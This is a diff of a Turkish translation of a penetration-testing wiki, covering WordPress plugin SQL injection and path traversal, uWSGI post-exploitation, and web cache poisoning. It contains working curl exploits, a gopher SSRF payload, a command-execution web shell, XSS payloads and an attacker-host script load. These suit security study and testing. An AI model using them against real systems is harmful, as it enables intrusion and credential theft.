- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
Savunma notları
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
@ -624,32 +624,32 @@ Defensive notes
### Regular Updates
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemelerin wp-config.php'de etkinleştirildiğini doğrulayın:
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Also, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**.
Ayrıca, **sadece güvenilir WordPress plugins and themes yükleyin**.
### Security Plugins
### Güvenlik Eklentileri
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Other Recommendations**
### **Diğer Öneriler**
- Varsayılan **admin** kullanıcısını kaldırın
- **Güçlü parolalar** ve **2FA** kullanın
- Periyodik olarak kullanıcıların **izinlerini** **gözden geçirin**
- Brute Force saldırılarını önlemek için **oturum açma denemelerini sınırlayın**
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili veya belirli IP adreslerinden erişime izin verin.
- Güçlü **şifreler** ve **2FA** kullanın
- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
- **Giriş denemelerini sınırlayın** Brute Force saldırılarını önlemek için
- **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin.
### Kimlik doğrulaması gerektirmeyen yetersiz doğrulama nedeniyle SQL Injection (WP Job Portal <= 2.3.2)
### Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin, en sonunda `modules/category/model.php::validateFormData()` içinde aşağıdaki zafiyetli kodu çalıştıran **savecategory** görevini açığa çıkardı:
WP Job Portal recruitment plugin, sonuçta **savecategory** görevini açığa çıkardı; bu görev en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki güvenli olmayan kodu çalıştırıyordu:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Bu kod parçasının yol açtığı sorunlar:
Issues introduced by this snippet:
1. Temizlenmemiş kullanıcı girdisi – `parentid` HTTP isteğinden doğrudan geliyor.
2. WHERE cümlesi içinde string birleştirme – `is_numeric()` / `esc_sql()` / prepared statement yok.
3. Kimliksız erişim – action `admin-post.php` üzerinden çalıştırılsa da, yapılan tek kontrol **CSRF nonce** (`wp_verify_nonce()`), ve bu nonce'u shortcode'u [wpjobportal_my_resumes] içeren herkese açık bir sayfadan herhangi bir ziyaretçi alabilir.
1. **Temizlenmemiş kullanıcı girdisi** – `parentid` doğrudan HTTP isteğinden geliyor.
2. **WHERE cümlesinde string birleştirme** – `is_numeric()` / `esc_sql()` / prepared statement yok.
3. **Kimliksız erişilebilirlik** – işlem `admin-post.php` üzerinden çalıştırılıyor olmasına rağmen, yerdeki tek kontrol **CSRF nonce** (`wp_verify_nonce()`), bu nonce'u herhangi bir ziyaretçi `[wpjobportal_my_resumes]` shortcode'unu içeren bir açık sayfadan alabilir.
#### İstismar
1. Yeni bir nonce al:
1. Taze bir nonce alın:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`'i kötüye kullanarak rastgele SQL enjekte et:
2. `parentid`'i kötüye kullanarak arbitrary SQL enjekte edin:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar.
Yanıt enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar.
### Kimliksız Rasgele Dosya İndirme / Path Traversal (WP Job Portal <= 2.3.2)
### Kimliksız Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Başka bir görev, **downloadcustomfile**, ziyaretçilere path traversal yoluyla diskteki **herhangi bir dosyayı** indirme izni veriyordu. Zafiyetli sink `modules/customfield/model.php::downloadCustomUploadedFile()` içinde yer alır:
Başka bir görev, **downloadcustomfile**, ziyaretçilere path traversal yoluyla diskteki **herhangi bir dosyayı** indirme izni veriyordu. Zayıf sink şu dosyada bulunur: `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizlenmeden** birleştiriliyor. Tekrar, tek engel özgeçmiş sayfasından alınabilecek bir **CSRF nonce**.
`$file_name` saldırgan tarafından kontrol ediliyor ve **girdi temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabilir.
#### İstismar
```bash
@ -701,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Sunucu `wp-config.php` içeriğini yanıt olarak döndürüyor, leaking DB credentials and auth keys.
Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials and auth keys.
## Referanslar

170
src/network-services-pentesting/pentesting-web/wsgi.md Normal file
View File

@ -0,0 +1,170 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## WSGI Genel Bakış
Web Server Gateway Interface (WSGI), bir web sunucusunun web uygulamalarıyla nasıl iletişim kurduğunu ve web uygulamalarının bir isteği işlemek için nasıl zincirlenebileceğini tanımlayan bir spesifikasyondur. uWSGI, Python web uygulamalarını sunmak için sıkça kullanılan en popüler WSGI sunucularından biridir.
## uWSGI Magic Variables Exploitation
uWSGI, sunucu davranışını dinamik olarak yapılandırmak için kullanılabilen özel "magic variables" sağlar. Bu değişkenler HTTP başlıkları aracılığıyla ayarlanabilir ve doğru şekilde doğrulanmadıklarında ciddi güvenlik açıklarına yol açabilir.
### Key Exploitable Variables
#### `UWSGI_FILE` - Arbitrary File Execution
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Bu değişken, rastgele Python dosyalarını WSGI uygulamaları olarak yüklemeye ve çalıştırmaya izin verir. Bir saldırgan bu parametreyi kontrol edebiliyorsa Remote Code Execution (RCE) gerçekleştirebilir.
#### `UWSGI_SCRIPT` - Betik Yükleme
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Belirtilen bir script'i yeni bir uygulama olarak yükler. Dosya yükleme veya yazma yetenekleriyle birleştiğinde, bu RCE'ye yol açabilir.
#### `UWSGI_MODULE` ve `UWSGI_CALLABLE` - Dinamik Modül Yükleme
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Bu parametreler rastgele Python modüllerini yüklemeye ve bunlar içinde belirli fonksiyonları çağırmaya izin verir.
#### `UWSGI_SETENV` - Ortam Değişkeni Manipülasyonu
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Ortam değişkenlerini değiştirmek için kullanılabilir; bu, uygulama davranışını etkileyebilir veya kötü amaçlı yapılandırma yüklenmesine neden olabilir.
#### `UWSGI_PYHOME` - Python Ortamının Manipülasyonu
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Python sanal ortamını değiştirir; potansiyel olarak kötü amaçlı paketlerin veya farklı Python yorumlayıcılarının yüklenmesine yol açabilir.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
İstekleri işlemeye başlamadan önce çalışma dizinini değiştirir; bu, path traversal saldırılarında kullanılabilir.
## SSRF + Gopher ile
### Saldırı Vektörü
uWSGI SSRF (Server-Side Request Forgery) yoluyla erişilebiliyorsa, saldırganlar dahili uWSGI soketiyle etkileşime geçerek magic variables'ı kötüye kullanabilir. Bu durum özellikle şu durumlarda tehlikelidir:
1. Uygulamada SSRF zafiyetleri bulunması
2. uWSGI'nin dahili bir port/sokette çalışıyor olması
3. Uygulamanın magic variables'ı doğru şekilde doğrulamaması
uWSGI, config dosyası `uwsgi.ini` içinde `socket = 127.0.0.1:5000` bulunduğu için SSRF nedeniyle erişilebilir hale gelir; bu da web uygulamasından SSRF yoluyla erişilebileceği anlamına gelir.
### Sömürü Örneği
#### Adım 1: Kötü amaçlı Payload oluşturma
İlk olarak, sunucunun erişebildiği bir dosyaya Python kodu enjekte edin (sunucu içinde dosya yazma, dosya uzantısı önemli değildir):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Adım 2: uWSGI Protokol İsteği Oluştur
Ham uWSGI paketlerini göndermek için Gopher protokolünü kullanın:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
Bu payload:
- uWSGI'ye port 5000 üzerinden bağlanır
- `UWSGI_FILE`'ı kötü amaçlı dosyayı gösterecek şekilde ayarlar
- uWSGI'yi Python kodunu yüklemeye ve çalıştırmaya zorlar
### uWSGI Protokol Yapısı
uWSGI protokolü şu şekilde ikili bir format kullanır:
- Değişkenler uzunluk-önekli dizeler olarak kodlanır
- Her değişken şunu içerir: `[name_length][name][value_length][value]`
- Paket, toplam boyutu içeren bir header ile başlar
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Sonra bu backdoor'u yüklemek için `UWSGI_FILE`'i kullanın:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Ortam Tabanlı Kalıcılık
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Bilgi Açığa Çıkarma
#### Ortam Değişkenleri Dökümü
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Dosya Sistemi Erişimi
Hassas dosyalara erişmek için dosya sunumu ile birlikte `UWSGI_CHDIR` kullanın:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
Eğer uWSGI yükseltilmiş ayrıcalıklarla çalışıyorsa, saldırganlar socket izinlerini değiştirebilir:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Yapılandırma Geçersiz Kılma
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Referanslar
- [uWSGI Magic Variables Dokümantasyonu](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Çözümü](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Güvenlik En İyi Uygulamaları](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

172
src/pentesting-web/cache-deception/README.md
View File

@ -2,75 +2,75 @@
{{#include ../../banners/hacktricks-training.md}}
## Fark
## Farkı
> **web cache poisoning ile web cache deception arasındaki fark nedir?**
>
> - In **web cache poisoning**, saldırgan uygulamanın cache'ine bazı kötü amaçlı içerikler depolanmasını sağlar ve bu içerik cache'den diğer uygulama kullanıcılarına sunulur.
> - In **web cache deception**, saldırgan uygulamanın cache'ine başka bir kullanıcıya ait bazı hassas içeriklerin depolanmasını sağlar ve daha sonra bu içeriği cache'den elde eder.
> - In **web cache poisoning**, saldırgan uygulamanın cache'e bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerik cache'den diğer uygulama kullanıcılarına sunulur.
> - In **web cache deception**, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri cache'e kaydetmesine neden olur ve saldırgan daha sonra bu içeriği cache'den alır.
## Cache Poisoning
Cache poisoning, istemci tarafı cache'i manipüle ederek istemcilerin beklenmeyen, kısmi veya saldırganın kontrolünde olan kaynakları yüklemeye zorlanmasını hedefler. Etkinin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü zehirlenmiş yanıt yalnızca cache'in kirlenme süresi boyunca sayfayı ziyaret eden kullanıcılara servis edilir.
Cache poisoning, istemci tarafı önbelleği manipüle etmeyi hedefler; amaç, istemcilerin beklenmeyen, eksik veya saldırganın kontrolünde olan kaynakları yüklemeye zorlanmasıdır. Etkinin genişliği, etkilenen sayfanın popülerliğine bağlıdır; zira zehirlenmiş yanıt, önbellek kirlenmesi süresince sayfayı ziyaret eden kullanıcılara sunulur.
Bir cache poisoning saldırısının uygulanması birkaç adımı içerir:
cache poisoning saldırısının yürütülmesi birkaç adımı içerir:
1. **Identification of Unkeyed Inputs**: Bunlar, bir isteğin cache'lenmesi için gerekli olmamasına rağmen sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdileri belirlemek önemlidir çünkü cache'i manipüle etmek için kullanılabilirler.
2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs belirlendikten sonra, bu parametreleri saldırgana fayda sağlayacak şekilde sunucu yanıtını değiştirmek için nasıl kötüye kullanacağınızı belirlemeniz gerekir.
3. **Ensuring the Poisoned Response is Cached**: Son adım, manipüle edilmiş yanıtın cache'e kaydedildiğinden emin olmaktır. Böylece cache zehirlendiği sürece etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alır.
1. **Anahtarsız girdilerin tespiti (Identification of Unkeyed Inputs)**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmayan ancak sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin tespit edilmesi kritiktir çünkü önbelleği manipüle etmek için kullanılabilirler.
2. **Anahtarsız girdilerin istismarı (Exploitation of the Unkeyed Inputs)**: Anahtarsız girdiler tespit edildikten sonra, bu parametrelerin sunucunun yanıtını saldırgan lehine nasıl değiştirebileceğini keşfetmek gerekir.
3. **Zehirlenmiş yanıtın önbelleğe alınmasını sağlama (Ensuring the Poisoned Response is Cached)**: Son adım, manipüle edilen yanıtın cache'de saklandığından emin olmaktır. Böylece, önbellek zehirlendiği sürece etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alır.
### Keşif: HTTP headers'ı kontrol et
### Keşif: HTTP header'larını kontrol et
Genellikle bir yanıt **cache'e kaydedildiğinde** bunu belirten bir **header** olur; hangi header'lara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Genellikle, bir yanıt **cache'e saklandığında** bunu gösteren bir **header** bulunur; hangi header'lara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: Hata kodlarının cache'lenmesi
### Keşif: Hata kodlarının önbelleğe alınması
Eğer bir yanıtın bir cache'de saklandığını düşünüyorsanız, **hatalı bir header ile istek göndermeyi** deneyebilir ve bunun **status code 400** ile cevaplandırılması gerekir. Daha sonra isteğe normal şekilde erişmeyi deneyin; eğer **yanıt 400 status code** ise, bu durumun zafiyetli olduğunu (ve hatta bir DoS gerçekleştirebileceğinizi) gösterir.
Yanıtın bir cache'e saklandığını düşünüyorsanız, **kötü bir header ile istek göndermeyi** deneyebilirsiniz; bu, genellikle **status code 400** ile yanıtlanmalıdır. Ardından isteğe normal şekilde erişmeyi deneyin ve eğer **yanıt 400 status code** ise, uygulamanın bu açıdan zayıf olduğunu bilirsiniz (hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek için şunlara bakabilirsiniz:
You can find more options in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Ancak, bazen bu tür status kodlarının **cache'lenmediğini** unutmayın; bu nedenle bu test her zaman güvenilir olmayabilir.
Ancak unutmayın ki **bazen bu tür status kodları önbelleğe alınmaz**, dolayısıyla bu test her zaman güvenilir olmayabilir.
### Keşif: Unkeyed inputs'ı belirleme ve değerlendirme
### Keşif: Anahtarsız girdileri tespit et ve değerlendir
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın **yanıtını değiştirebilecek** parametreleri ve header'ları **brute-force** edebilirsiniz. Örneğin, bir sayfa istemciye script'i oradan yüklemesini belirlemek için `X-Forwarded-For` header'ını kullanıyor olabilir:
Sayfanın yanıtını değiştirebilecek parametreleri ve header'ları brute-force etmek için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanabilirsiniz. Örneğin, bir sayfa istemciye script'i oradan yüklemesini belirtmek için `X-Forwarded-For` header'ını kullanıyor olabilir:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Arka uç sunucusundan zararlı bir yanıt elde etme
### Arka uç sunucusundan zararlı bir yanıt tetikleme
Parametre/başlığı belirledikten sonra bunun nasıl temizlendiğini (sanitised) ve yanıtın neresinde yansıtıldığını veya başlığın yanıtı nasıl etkilediğini kontrol edin. Yine de bunu kötüye kullanabilir misiniz (ör. XSS gerçekleştirmek veya sizin kontrolünüzdeki bir JS kodunu yüklemek? DoS yapmak?...)
Belirlenen parametre/header ile bunun nasıl **sanitised** edildiğini ve header'ın yanıt içinde **nerede** **yansıtıldığını** veya yanıtı nasıl etkilediğini kontrol edin. Yine de suistimal edebilir misiniz (XSS gerçekleştirmek veya kontrolünüzdeki bir JS kodu yüklemek? DoS yapmak?...)
### Yanıtın cache'e alınmasını sağlama
### Yanıtın önbelleğe alınmasını sağlama
Kötüye kullanılabilecek sayfayı, hangi parametre/başlık kullanılacağını ve bunu nasıl kötüye kullanacağınızı belirledikten sonra, sayfanın cache'e alınmasını sağlamanız gerekir. Cache'e almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir; birkaç saniye boyunca denemeniz gerekebilir.
İstismar edilebilecek **sayfayı**, hangi **parametre**/**header**'ın kullanılacağını ve **nasıl** suistimal edileceğini **belirledikten** sonra sayfanın önbelleğe alınmasını sağlamanız gerekir. Önbelleğe almaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir; birkaç saniye denemeniz gerekebilir.
Cevaptaki header **`X-Cache`** çok faydalı olabilir çünkü istek cache'lenmediğinde değeri **`miss`**, cache'deyse **`hit`** olabilir.\
Header **`Cache-Control`** de bir kaynağın cachelenip cachelenmediğini ve bir sonraki cache zamanını öğrenmek için ilginçtir: `Cache-Control: public, max-age=1800`
Yanıt içindeki **`X-Cache`** header'ı çok faydalı olabilir; istek önbelleğe alınmadıysa değeri **`miss`**, önbelleğe alındıysa **`hit`** olabilir.\
**`Cache-Control`** header'ı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın tekrar ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
Bir diğer ilginç header **`Vary`**'dir. Bu header genellikle normalde anahtar olmayan ek başlıkların bile **cache anahtarının parçası** olarak değerlendirildiğini **belirtmek** için kullanılır. Bu nedenle, eğer saldırgan hedeflediği kurbanın `User-Agent`'ini biliyorsa, o spesifik `User-Agent`'i kullanan kullanıcılar için cache'i poison edebilir.
Bir diğer ilginç header **`Vary`**'dir. Bu header genellikle normalde anahtarlanmıyor olsalar bile **ek header'ları** cache anahtarının **bir parçası** olarak belirtmek için kullanılır. Bu nedenle hedef kullanıcının `User-Agent`'ını biliyorsa, bu belirli `User-Agent`'ı kullanan kullanıcılar için cache'i poison edebilir.
Cache ile ilgili bir başka header ise **`Age`**'dir. Bu header, cismin proxy cache'te bulunduğu süreyi saniye cinsinden tanımlar.
Cache ile ilgili bir diğer header ise **`Age`**'dir. Bu header, nesnenin proxy önbelleğinde kaç saniyedir bulunduğunu tanımlar.
Bir isteği cache'lerken kullandığınız başlıklara **dikkat edin** çünkü bazıları **beklenmedik şekilde** anahtar olarak **kullanılabilir** ve kurbanın **aynı başlığı kullanması** gerekecektir. Her zaman bir Cache Poisoning'i **farklı tarayıcılarla** test ederek çalışıp çalışmadığını kontrol edin.
Bir isteği önbelleğe alırken **kullandığınız header'lara dikkat edin**, çünkü bazıları beklenmedik şekilde **keyed** olarak kullanılabilir ve **kurbanın aynı header'ı kullanması** gerekebilir. Her zaman bir Cache Poisoning'i **farklı tarayıcılarla** test ederek çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
## İstismar Örnekleri
### En kolay örnek
`X-Forwarded-For` gibi bir header yanıtta sanitize edilmeden yansıtılıyorsa.\
Temel bir XSS payload gönderip cache'i poison ederek sayfaya erişen herkesin XSSlenmesini sağlayabilirsiniz:
`X-Forwarded-For` gibi bir header, yanıt içinde temizlenmeden (unsanitized) yansıtılıyor.\
Basit bir XSS payload'u gönderip cache'i poison ederek sayfaya erişen herkesin XSS'lenmesini sağlayabilirsiniz:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Bu, `/en?region=uk` isteğini zehirleyecektir, `/en`'i değil_
_Unutmayın: bu `/en?region=uk` isteğini zehirleyecek, `/en` isteğini değil_
### Cache poisoning to DoS
@ -81,15 +81,15 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**'de aşağıdaki basit senaryo açıklanıyor:
Bu **[writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**'ta aşağıdaki basit senaryo açıklanıyor:
- CDN `/share/` altındaki her şeyi cache'leyecektir
- CDN `%2F..%2F`'yi decode veya normalize etmeyecektir; bu nedenle `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi URL'ler **path traversal to access other sensitive locations that will be cached** için kullanılabilir
- Web sunucusu `%2F..%2F`'yi decode ve normalize edecek ve `/api/auth/session` ile cevap verecektir; bu yanıt **contains the auth token**.
- CDN `/share/` altındaki her şeyi önbelleğe alır
- CDN `%2F..%2F`'yi decode veya normalize etmez, bu yüzden **path traversal** olarak kullanılabilir ve `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi diğer hassas yerlere erişip bunların cache'lenmesine yol açabilir
- Web sunucusu `%2F..%2F`'yi decode ve normalize eder ve `/api/auth/session` ile yanıt verir; bu yanıt **auth token** içerir
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bunu bir XSS tetiklemek için kötüye kullanabilirseniz, kötü amaçlı cache yanıtını yükleyen birden fazla istemcide XSS'i exploit edebilirsiniz.
Cookies ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bunu suistimal edip bir XSS tetikleyebilirseniz, kötü amaçlı cache yanıtını yükleyen birden fazla istemcide XSS'i istismar edebilirsiniz.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -97,7 +97,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Ayraçlar, normalizasyon ve nokta karakterleri ile tutarsızlıklar oluşturma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
@ -106,9 +106,9 @@ Check:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning ile path traversal kullanarak API key çalma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Bu writeup anlatıyor**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) nasıl `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API key'in çalınabildiğini; çünkü `/share/*` ile eşleşen her şey, isteğin web sunucusuna ulaşana kadar Cloudflare tarafından URL normalleştirmesi yapılmadan cache'leniyordu.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
This is also explained better in:
@ -117,18 +117,18 @@ This is also explained better in:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Birden fazla header kullanarak web cache poisoning zafiyetlerini istismar etme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir cache'i kötüye kullanabilmek için **exploit several unkeyed inputs** gerekir. Örneğin, `X-Forwarded-Host`'u sizin kontrolünüzdeki bir domaine ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız bir **Open redirect** bulabilirsiniz. Eğer server tüm **HTTP** isteklerini **HTTPS**'e forward ediyor ve redirect için `X-Forwarded-Scheme` header'ını domain adı olarak kullanıyorsa, redirect ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
Bazen bir cache'i suistimal edebilmek için **birden fazla unkeyed input'u istismar etmeniz** gerekebilir. Örneğin, `X-Forwarded-Host`'u size ait bir domaine ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız bir **Open redirect** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'e** **yönlendiriyorsa** ve yönlendirme için domain adı olarak `X-Forwarded-Scheme` header'ını kullanıyorsa, yönlendirmenin sayfayı nereye işaret edeceğini kontrol edebilirsiniz.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiting kısıtlı `Vary`header
### Sınırlı `Vary`header ile istismar
Eğer **`X-Host`** header'ının **JS resource yüklemek için domain adı** olarak kullanıldığını, ancak yanıt içindeki **`Vary`** header'ının **`User-Agent`**'ı gösterdiğini fark ederseniz, o zaman kurbanın `User-Agent`'ini sızdırmanın ve o `User-Agent`'i kullanarak önbelleği zehirlemenin bir yolunu bulmanız gerekir:
Eğer **`X-Host`** header'ının **bir JS kaynağını yüklemek için domain adı** olarak kullanıldığını ama cevaptaki **`Vary`** header'ının **`User-Agent`** olduğunu fark ettiyseniz, victim'in `User-Agent`'ini exfiltrate edip o `User-Agent` ile cache'i poison etmenin bir yolunu bulmanız gerekir:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
URL'de ve body'de aynı isteği içeren bir GET isteği gönder. Eğer web server body'dekini kullanıyor ama cache server URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında body'deki parametreyi kullanır. Github'ta James Kettle'ın bulduğu vuln gibi:
